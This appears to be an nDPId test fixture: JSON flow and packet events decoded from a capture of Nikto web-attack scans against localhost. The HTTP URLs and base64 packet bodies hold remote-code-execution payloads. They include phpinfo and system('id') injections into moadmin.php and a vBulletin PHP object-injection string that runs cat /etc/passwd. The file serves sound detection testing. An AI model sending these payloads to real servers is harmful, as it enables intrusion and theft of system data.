+00832{"flow_id":778,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":778,"source":"WebattackRCE.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576420277,"pkt_ts_usec":983499,"pkt_caplen":362,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":362,"pkt_l4_len":328,"pkt":"AAAAAAAAAAAAAAAACABFAAFcKzdAAEAGEGN\/AAABfwAAAcfcH5CIchJjnARiwIAYAED\/UAAAAQEICp1nAAedZwAHR0VUIC9tb2FkbWluLnBocD9jb2xsZWN0aW9uPXNlY3B1bHNlJmFjdGlvbj1saXN0Um93cyZmaW5kPWFycmF5KCk7cGhwaW5mbygpO2V4aXQ7IEhUVFAvMS4xDQpVc2VyLUFnZW50OiBNb3ppbGxhLzUuMDAgKE5pa3RvLzIuMS42KSAoRXZhc2lvbnM6Tm9uZSkgKFRlc3Q6MDA3MDExKQ0KQ29ubmVjdGlvbjogS2VlcC1BbGl2ZQ0KQ29udGVudC1MZW5ndGg6IDIyDQpDb250ZW50LVR5cGU6IGFwcGxpY2F0aW9uL3gtd3d3LWZvcm0tdXJsZW5jb2RlZA0KSG9zdDogMTI3LjAuMC4xDQoNCm9iamVjdD0xO3N5c3RlbSgnaWQnKTs="} +00825{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":778,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":778,"flow_packet_id":1,"flow_first_seen":1576420277983,"flow_last_seen":0,"flow_tot_l4_data_len":328,"flow_min_l4_data_len":328,"flow_max_l4_data_len":328,"flow_avg_l4_data_len":328,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":51164,"dst_port":8080,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port","12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"127.0.0.1","url":"127.0.0.1\/moadmin.php?collection=secpulse&action=listRows&find=array();phpinfo();exit;","code":0,"content_type":"","user_agent":"Mozilla\/5.00 (Nikto\/2.1.6) (Evasions:None) (Test:007011)"}} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":779,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":779,"flow_packet_id":1,"flow_first_seen":1576420277984,"flow_last_seen":0,"flow_tot_l4_data_len":331,"flow_min_l4_data_len":331,"flow_max_l4_data_len":331,"flow_avg_l4_data_len":331,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":51166,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00836{"flow_id":779,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":779,"source":"WebattackRCE.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576420277,"pkt_ts_usec":984896,"pkt_caplen":365,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":365,"pkt_l4_len":331,"pkt":"AAAAAAAAAAAAAAAACABFAAFfNJZAAEAGBwF\/AAABfwAAAcfeH5DptA3NjIJEK4AYAED\/UwAAAQEICp1nAAidZwAIR0VUIC93dS1tb2FkbWluLnBocD9jb2xsZWN0aW9uPXNlY3B1bHNlJmFjdGlvbj1saXN0Um93cyZmaW5kPWFycmF5KCk7cGhwaW5mbygpO2V4aXQ7IEhUVFAvMS4xDQpDb25uZWN0aW9uOiBLZWVwLUFsaXZlDQpVc2VyLUFnZW50OiBNb3ppbGxhLzUuMDAgKE5pa3RvLzIuMS42KSAoRXZhc2lvbnM6Tm9uZSkgKFRlc3Q6MDA3MDExKQ0KQ29udGVudC1MZW5ndGg6IDIyDQpDb250ZW50LVR5cGU6IGFwcGxpY2F0aW9uL3gtd3d3LWZvcm0tdXJsZW5jb2RlZA0KSG9zdDogMTI3LjAuMC4xDQoNCm9iamVjdD0xO3N5c3RlbSgnaWQnKTs="} +00828{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":779,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":779,"flow_packet_id":1,"flow_first_seen":1576420277984,"flow_last_seen":0,"flow_tot_l4_data_len":331,"flow_min_l4_data_len":331,"flow_max_l4_data_len":331,"flow_avg_l4_data_len":331,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":51166,"dst_port":8080,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port","12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"127.0.0.1","url":"127.0.0.1\/wu-moadmin.php?collection=secpulse&action=listRows&find=array();phpinfo();exit;","code":0,"content_type":"","user_agent":"Mozilla\/5.00 (Nikto\/2.1.6) (Evasions:None) (Test:007011)"}} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":780,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":780,"flow_packet_id":1,"flow_first_seen":1576420277986,"flow_last_seen":0,"flow_tot_l4_data_len":339,"flow_min_l4_data_len":339,"flow_max_l4_data_len":339,"flow_avg_l4_data_len":339,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":51168,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00848{"flow_id":780,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":780,"source":"WebattackRCE.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576420277,"pkt_ts_usec":986452,"pkt_caplen":373,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":373,"pkt_l4_len":339,"pkt":"AAAAAAAAAAAAAAAACABFAAFn4zdAAEAGWFd\/AAABfwAAAcfgH5C+u9puvhX1U4AYAED\/WwAAAQEICp1nAAqdZwAKR0VUIC9waHBtb2FkbWluL21vYWRtaW4ucGhwP2NvbGxlY3Rpb249c2VjcHVsc2UmYWN0aW9uPWxpc3RSb3dzJmZpbmQ9YXJyYXkoKTtwaHBpbmZvKCk7ZXhpdDsgSFRUUC8xLjENCkNvbnRlbnQtTGVuZ3RoOiAyMg0KQ29udGVudC1UeXBlOiBhcHBsaWNhdGlvbi94LXd3dy1mb3JtLXVybGVuY29kZWQNClVzZXItQWdlbnQ6IE1vemlsbGEvNS4wMCAoTmlrdG8vMi4xLjYpIChFdmFzaW9uczpOb25lKSAoVGVzdDowMDcwMTEpDQpDb25uZWN0aW9uOiBLZWVwLUFsaXZlDQpIb3N0OiAxMjcuMC4wLjENCg0Kb2JqZWN0PTE7c3lzdGVtKCdpZCcpOw=="} +00837{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":780,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":780,"flow_packet_id":1,"flow_first_seen":1576420277986,"flow_last_seen":0,"flow_tot_l4_data_len":339,"flow_min_l4_data_len":339,"flow_max_l4_data_len":339,"flow_avg_l4_data_len":339,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":51168,"dst_port":8080,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port","12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"127.0.0.1","url":"127.0.0.1\/phpmoadmin\/moadmin.php?collection=secpulse&action=listRows&find=array();phpinfo();exit;","code":0,"content_type":"","user_agent":"Mozilla\/5.00 (Nikto\/2.1.6) (Evasions:None) (Test:007011)"}} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":781,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":781,"flow_packet_id":1,"flow_first_seen":1576420277988,"flow_last_seen":0,"flow_tot_l4_data_len":342,"flow_min_l4_data_len":342,"flow_max_l4_data_len":342,"flow_avg_l4_data_len":342,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":51170,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00852{"flow_id":781,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":781,"source":"WebattackRCE.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576420277,"pkt_ts_usec":988035,"pkt_caplen":376,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":376,"pkt_l4_len":342,"pkt":"AAAAAAAAAAAAAAAACABFAAFqP5xAAEAG++9\/AAABfwAAAcfiH5DrbgbETTZEsIAYAED\/XgAAAQEICp1nAAudZwALR0VUIC9waHBtb2FkbWluL3d1LW1vYWRtaW4ucGhwP2NvbGxlY3Rpb249c2VjcHVsc2UmYWN0aW9uPWxpc3RSb3dzJmZpbmQ9YXJyYXkoKTtwaHBpbmZvKCk7ZXhpdDsgSFRUUC8xLjENCkNvbm5lY3Rpb246IEtlZXAtQWxpdmUNClVzZXItQWdlbnQ6IE1vemlsbGEvNS4wMCAoTmlrdG8vMi4xLjYpIChFdmFzaW9uczpOb25lKSAoVGVzdDowMDcwMTEpDQpDb250ZW50LUxlbmd0aDogMjINCkNvbnRlbnQtVHlwZTogYXBwbGljYXRpb24veC13d3ctZm9ybS11cmxlbmNvZGVkDQpIb3N0OiAxMjcuMC4wLjENCg0Kb2JqZWN0PTE7c3lzdGVtKCdpZCcpOw=="} +00840{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":781,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":781,"flow_packet_id":1,"flow_first_seen":1576420277988,"flow_last_seen":0,"flow_tot_l4_data_len":342,"flow_min_l4_data_len":342,"flow_max_l4_data_len":342,"flow_avg_l4_data_len":342,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":51170,"dst_port":8080,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port","12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"127.0.0.1","url":"127.0.0.1\/phpmoadmin\/wu-moadmin.php?collection=secpulse&action=listRows&find=array();phpinfo();exit;","code":0,"content_type":"","user_agent":"Mozilla\/5.00 (Nikto\/2.1.6) (Evasions:None) (Test:007011)"}} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":782,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":782,"flow_packet_id":1,"flow_first_seen":1576420277989,"flow_last_seen":0,"flow_tot_l4_data_len":339,"flow_min_l4_data_len":339,"flow_max_l4_data_len":339,"flow_avg_l4_data_len":339,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":51172,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00848{"flow_id":782,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":782,"source":"WebattackRCE.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576420277,"pkt_ts_usec":989553,"pkt_caplen":373,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":373,"pkt_l4_len":339,"pkt":"AAAAAAAAAAAAAAAACABFAAFn5zlAAEAGVFV\/AAABfwAAAcfkH5BgZN5vdwnWyoAYAED\/WwAAAQEICp1nAA2dZwANR0VUIC93dS1tb2FkbWluL21vYWRtaW4ucGhwP2NvbGxlY3Rpb249c2VjcHVsc2UmYWN0aW9uPWxpc3RSb3dzJmZpbmQ9YXJyYXkoKTtwaHBpbmZvKCk7ZXhpdDsgSFRUUC8xLjENCkhvc3Q6IDEyNy4wLjAuMQ0KQ29ubmVjdGlvbjogS2VlcC1BbGl2ZQ0KVXNlci1BZ2VudDogTW96aWxsYS81LjAwIChOaWt0by8yLjEuNikgKEV2YXNpb25zOk5vbmUpIChUZXN0OjAwNzAxMSkNCkNvbnRlbnQtVHlwZTogYXBwbGljYXRpb24veC13d3ctZm9ybS11cmxlbmNvZGVkDQpDb250ZW50LUxlbmd0aDogMjINCg0Kb2JqZWN0PTE7c3lzdGVtKCdpZCcpOw=="} +00837{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":782,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":782,"flow_packet_id":1,"flow_first_seen":1576420277989,"flow_last_seen":0,"flow_tot_l4_data_len":339,"flow_min_l4_data_len":339,"flow_max_l4_data_len":339,"flow_avg_l4_data_len":339,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":51172,"dst_port":8080,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port","12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"127.0.0.1","url":"127.0.0.1\/wu-moadmin\/moadmin.php?collection=secpulse&action=listRows&find=array();phpinfo();exit;","code":0,"content_type":"","user_agent":"Mozilla\/5.00 (Nikto\/2.1.6) (Evasions:None) (Test:007011)"}} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":783,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":783,"flow_packet_id":1,"flow_first_seen":1576420277991,"flow_last_seen":0,"flow_tot_l4_data_len":342,"flow_min_l4_data_len":342,"flow_max_l4_data_len":342,"flow_avg_l4_data_len":342,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":51174,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00852{"flow_id":783,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":783,"source":"WebattackRCE.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576420277,"pkt_ts_usec":991005,"pkt_caplen":376,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":376,"pkt_l4_len":342,"pkt":"AAAAAAAAAAAAAAAACABFAAFq2t9AAEAGYKx\/AAABfwAAAcfmH5C2ZOOFxq2Ns4AYAED\/XgAAAQEICp1nAA6dZwAOR0VUIC93dS1tb2FkbWluL3d1LW1vYWRtaW4ucGhwP2NvbGxlY3Rpb249c2VjcHVsc2UmYWN0aW9uPWxpc3RSb3dzJmZpbmQ9YXJyYXkoKTtwaHBpbmZvKCk7ZXhpdDsgSFRUUC8xLjENCkhvc3Q6IDEyNy4wLjAuMQ0KQ29udGVudC1UeXBlOiBhcHBsaWNhdGlvbi94LXd3dy1mb3JtLXVybGVuY29kZWQNCkNvbnRlbnQtTGVuZ3RoOiAyMg0KVXNlci1BZ2VudDogTW96aWxsYS81LjAwIChOaWt0by8yLjEuNikgKEV2YXNpb25zOk5vbmUpIChUZXN0OjAwNzAxMSkNCkNvbm5lY3Rpb246IEtlZXAtQWxpdmUNCg0Kb2JqZWN0PTE7c3lzdGVtKCdpZCcpOw=="} +00840{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":783,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":783,"flow_packet_id":1,"flow_first_seen":1576420277991,"flow_last_seen":0,"flow_tot_l4_data_len":342,"flow_min_l4_data_len":342,"flow_max_l4_data_len":342,"flow_avg_l4_data_len":342,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":51174,"dst_port":8080,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port","12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"127.0.0.1","url":"127.0.0.1\/wu-moadmin\/wu-moadmin.php?collection=secpulse&action=listRows&find=array();phpinfo();exit;","code":0,"content_type":"","user_agent":"Mozilla\/5.00 (Nikto\/2.1.6) (Evasions:None) (Test:007011)"}} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":784,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":784,"flow_packet_id":1,"flow_first_seen":1576420277992,"flow_last_seen":0,"flow_tot_l4_data_len":336,"flow_min_l4_data_len":336,"flow_max_l4_data_len":336,"flow_avg_l4_data_len":336,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":51176,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00844{"flow_id":784,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":784,"source":"WebattackRCE.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576420277,"pkt_ts_usec":992579,"pkt_caplen":370,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":370,"pkt_l4_len":336,"pkt":"AAAAAAAAAAAAAAAACABFAAFk9ANAAEAGR45\/AAABfwAAAcfoH5AH9M1coGd5OYAYAED\/WAAAAQEICp1nABCdZwAQR0VUIC9tb2FkbWluL21vYWRtaW4ucGhwP2NvbGxlY3Rpb249c2VjcHVsc2UmYWN0aW9uPWxpc3RSb3dzJmZpbmQ9YXJyYXkoKTtwaHBpbmZvKCk7ZXhpdDsgSFRUUC8xLjENCkhvc3Q6IDEyNy4wLjAuMQ0KQ29udGVudC1UeXBlOiBhcHBsaWNhdGlvbi94LXd3dy1mb3JtLXVybGVuY29kZWQNCkNvbnRlbnQtTGVuZ3RoOiAyMg0KQ29ubmVjdGlvbjogS2VlcC1BbGl2ZQ0KVXNlci1BZ2VudDogTW96aWxsYS81LjAwIChOaWt0by8yLjEuNikgKEV2YXNpb25zOk5vbmUpIChUZXN0OjAwNzAxMSkNCg0Kb2JqZWN0PTE7c3lzdGVtKCdpZCcpOw=="} +00834{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":784,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":784,"flow_packet_id":1,"flow_first_seen":1576420277992,"flow_last_seen":0,"flow_tot_l4_data_len":336,"flow_min_l4_data_len":336,"flow_max_l4_data_len":336,"flow_avg_l4_data_len":336,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":51176,"dst_port":8080,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port","12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"127.0.0.1","url":"127.0.0.1\/moadmin\/moadmin.php?collection=secpulse&action=listRows&find=array();phpinfo();exit;","code":0,"content_type":"","user_agent":"Mozilla\/5.00 (Nikto\/2.1.6) (Evasions:None) (Test:007011)"}} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":785,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":785,"flow_packet_id":1,"flow_first_seen":1576420277993,"flow_last_seen":0,"flow_tot_l4_data_len":339,"flow_min_l4_data_len":339,"flow_max_l4_data_len":339,"flow_avg_l4_data_len":339,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":51178,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00848{"flow_id":785,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":785,"source":"WebattackRCE.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576420277,"pkt_ts_usec":993932,"pkt_caplen":373,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":373,"pkt_l4_len":339,"pkt":"AAAAAAAAAAAAAAAACABFAAFnZv1AAEAG1JF\/AAABfwAAAcfqH5D+xV+iBWcClIAYAED\/WwAAAQEICp1nABGdZwARR0VUIC9tb2FkbWluL3d1LW1vYWRtaW4ucGhwP2NvbGxlY3Rpb249c2VjcHVsc2UmYWN0aW9uPWxpc3RSb3dzJmZpbmQ9YXJyYXkoKTtwaHBpbmZvKCk7ZXhpdDsgSFRUUC8xLjENCkhvc3Q6IDEyNy4wLjAuMQ0KQ29ubmVjdGlvbjogS2VlcC1BbGl2ZQ0KVXNlci1BZ2VudDogTW96aWxsYS81LjAwIChOaWt0by8yLjEuNikgKEV2YXNpb25zOk5vbmUpIChUZXN0OjAwNzAxMSkNCkNvbnRlbnQtTGVuZ3RoOiAyMg0KQ29udGVudC1UeXBlOiBhcHBsaWNhdGlvbi94LXd3dy1mb3JtLXVybGVuY29kZWQNCg0Kb2JqZWN0PTE7c3lzdGVtKCdpZCcpOw=="} +00837{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":785,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":785,"flow_packet_id":1,"flow_first_seen":1576420277993,"flow_last_seen":0,"flow_tot_l4_data_len":339,"flow_min_l4_data_len":339,"flow_max_l4_data_len":339,"flow_avg_l4_data_len":339,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":51178,"dst_port":8080,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port","12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"127.0.0.1","url":"127.0.0.1\/moadmin\/wu-moadmin.php?collection=secpulse&action=listRows&find=array();phpinfo();exit;","code":0,"content_type":"","user_agent":"Mozilla\/5.00 (Nikto\/2.1.6) (Evasions:None) (Test:007011)"}} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":786,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":786,"flow_packet_id":1,"flow_first_seen":1576420277997,"flow_last_seen":0,"flow_tot_l4_data_len":610,"flow_min_l4_data_len":610,"flow_max_l4_data_len":610,"flow_avg_l4_data_len":610,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":51182,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +01207{"flow_id":786,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":786,"source":"WebattackRCE.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576420277,"pkt_ts_usec":997617,"pkt_caplen":644,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":644,"pkt_l4_len":610,"pkt":"AAAAAAAAAAAAAAAACABFAAJ2Zy1AAEAG01J\/AAABfwAAAcfuH5CyFV5xr3JzcYAYAEAAawAAAQEICp1nABWdZwAVR0VUIC92Yi9hamF4L2FwaS9ob29rL2RlY29kZUFyZ3VtZW50cz9hcmd1bWVudHM9TyUzQTEyJTNBJTIydkJfZEJfUmVzdWx0JTIyJTNBMiUzQSU3QnMlM0E1JTNBJTIyJTAwJTJBJTAwZGIlMjIlM0JPJTNBMTclM0ElMjJ2Ql9EYXRhYmFzZV9NeVNRTCUyMiUzQTElM0ElN0JzJTNBOSUzQSUyMmZ1bmN0aW9ucyUyMiUzQmElM0ExJTNBJTdCcyUzQTExJTNBJTIyZnJlZV9yZXN1bHQlMjIlM0JzJTNBNiUzQSUyMmFzc2VydCUyMiUzQiU3RCU3RHMlM0ExMiUzQSUyMiUwMCUyQSUwMHJlY29yZHNldCUyMiUzQnMlM0EyNSUzQSUyMnN5c3RlbSUyOCUyN2NhdCUyMCUyRmV0YyUyRnBhc3N3ZCUyNyUyOSUyMiUzQiU3RCBIVFRQLzEuMQ0KQ29ubmVjdGlvbjogS2VlcC1BbGl2ZQ0KVXNlci1BZ2VudDogTW96aWxsYS81LjAwIChOaWt0by8yLjEuNikgKEV2YXNpb25zOk5vbmUpIChUZXN0OjAwNzA1OCkNCkNvbnRlbnQtTGVuZ3RoOiAzOQ0KQ29udGVudC1UeXBlOiBhcHBsaWNhdGlvbi94LXd3dy1mb3JtLXVybGVuY29kZWQNCkhvc3Q6IDEyNy4wLjAuMQ0KDQp0cmFuc2FjdGlvbl9pZD0xJm9hdXRoX3Rva2VuPSclM2JlY2hvICc="} +01094{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":786,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":786,"flow_packet_id":1,"flow_first_seen":1576420277997,"flow_last_seen":0,"flow_tot_l4_data_len":610,"flow_min_l4_data_len":610,"flow_max_l4_data_len":610,"flow_avg_l4_data_len":610,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":51182,"dst_port":8080,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port","12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"127.0.0.1","url":"127.0.0.1\/vb\/ajax\/api\/hook\/decodeArguments?arguments=O%3A12%3A%22vB_dB_Result%22%3A2%3A%7Bs%3A5%3A%22%00%2A%00db%22%3BO%3A17%3A%22vB_Database_MySQL%22%3A1%3A%7Bs%3A9%3A%22functions%22%3Ba%3A1%3A%7Bs%3A11%3A%22free_result%22%3Bs%3A6%3A%22assert%22%3B%7D%7Ds%3A12%3A%22%00%2A%00recordset%22%3Bs%3A25%3A%22system%28%27cat%20%2Fetc%2Fpasswd%27%29%22%3B%7D","code":0,"content_type":"","user_agent":"Mozilla\/5.00 (Nikto\/2.1.6) (Evasions:None) (Test:007058)"}} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":787,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":787,"flow_packet_id":1,"flow_first_seen":1576420277998,"flow_last_seen":0,"flow_tot_l4_data_len":617,"flow_min_l4_data_len":617,"flow_max_l4_data_len":617,"flow_avg_l4_data_len":617,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":51184,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +01216{"flow_id":787,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":787,"source":"WebattackRCE.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576420277,"pkt_ts_usec":998921,"pkt_caplen":651,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":651,"pkt_l4_len":617,"pkt":"AAAAAAAAAAAAAAAACABFAAJ9M09AAEAGByp\/AAABfwAAAcfwH5BMhgoXl7elMYAYAEAAcgAAAQEICp1nABadZwAWR0VUIC92YnVsbGV0aW4vYWpheC9hcGkvaG9vay9kZWNvZGVBcmd1bWVudHM\/YXJndW1lbnRzPU8lM0ExMiUzQSUyMnZCX2RCX1Jlc3VsdCUyMiUzQTIlM0ElN0JzJTNBNSUzQSUyMiUwMCUyQSUwMGRiJTIyJTNCTyUzQTE3JTNBJTIydkJfRGF0YWJhc2VfTXlTUUwlMjIlM0ExJTNBJTdCcyUzQTklM0ElMjJmdW5jdGlvbnMlMjIlM0JhJTNBMSUzQSU3QnMlM0ExMSUzQSUyMmZyZWVfcmVzdWx0JTIyJTNCcyUzQTYlM0ElMjJhc3NlcnQlMjIlM0IlN0QlN0RzJTNBMTIlM0ElMjIlMDAlMkElMDByZWNvcmRzZXQlMjIlM0JzJTNBMjUlM0ElMjJzeXN0ZW0lMjglMjdjYXQlMjAlMkZldGMlMkZwYXNzd2QlMjclMjklMjIlM0IlN0QgSFRUUC8xLjENCkNvbnRlbnQtTGVuZ3RoOiAzOQ0KQ29udGVudC1UeXBlOiBhcHBsaWNhdGlvbi94LXd3dy1mb3JtLXVybGVuY29kZWQNCkNvbm5lY3Rpb246IEtlZXAtQWxpdmUNClVzZXItQWdlbnQ6IE1vemlsbGEvNS4wMCAoTmlrdG8vMi4xLjYpIChFdmFzaW9uczpOb25lKSAoVGVzdDowMDcwNTgpDQpIb3N0OiAxMjcuMC4wLjENCg0KdHJhbnNhY3Rpb25faWQ9MSZvYXV0aF90b2tlbj0nJTNiZWNobyAn"} +01101{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":787,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":787,"flow_packet_id":1,"flow_first_seen":1576420277998,"flow_last_seen":0,"flow_tot_l4_data_len":617,"flow_min_l4_data_len":617,"flow_max_l4_data_len":617,"flow_avg_l4_data_len":617,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":51184,"dst_port":8080,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port","12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"127.0.0.1","url":"127.0.0.1\/vbulletin\/ajax\/api\/hook\/decodeArguments?arguments=O%3A12%3A%22vB_dB_Result%22%3A2%3A%7Bs%3A5%3A%22%00%2A%00db%22%3BO%3A17%3A%22vB_Database_MySQL%22%3A1%3A%7Bs%3A9%3A%22functions%22%3Ba%3A1%3A%7Bs%3A11%3A%22free_result%22%3Bs%3A6%3A%22assert%22%3B%7D%7Ds%3A12%3A%22%00%2A%00recordset%22%3Bs%3A25%3A%22system%28%27cat%20%2Fetc%2Fpasswd%27%29%22%3B%7D","code":0,"content_type":"","user_agent":"Mozilla\/5.00 (Nikto\/2.1.6) (Evasions:None) (Test:007058)"}} 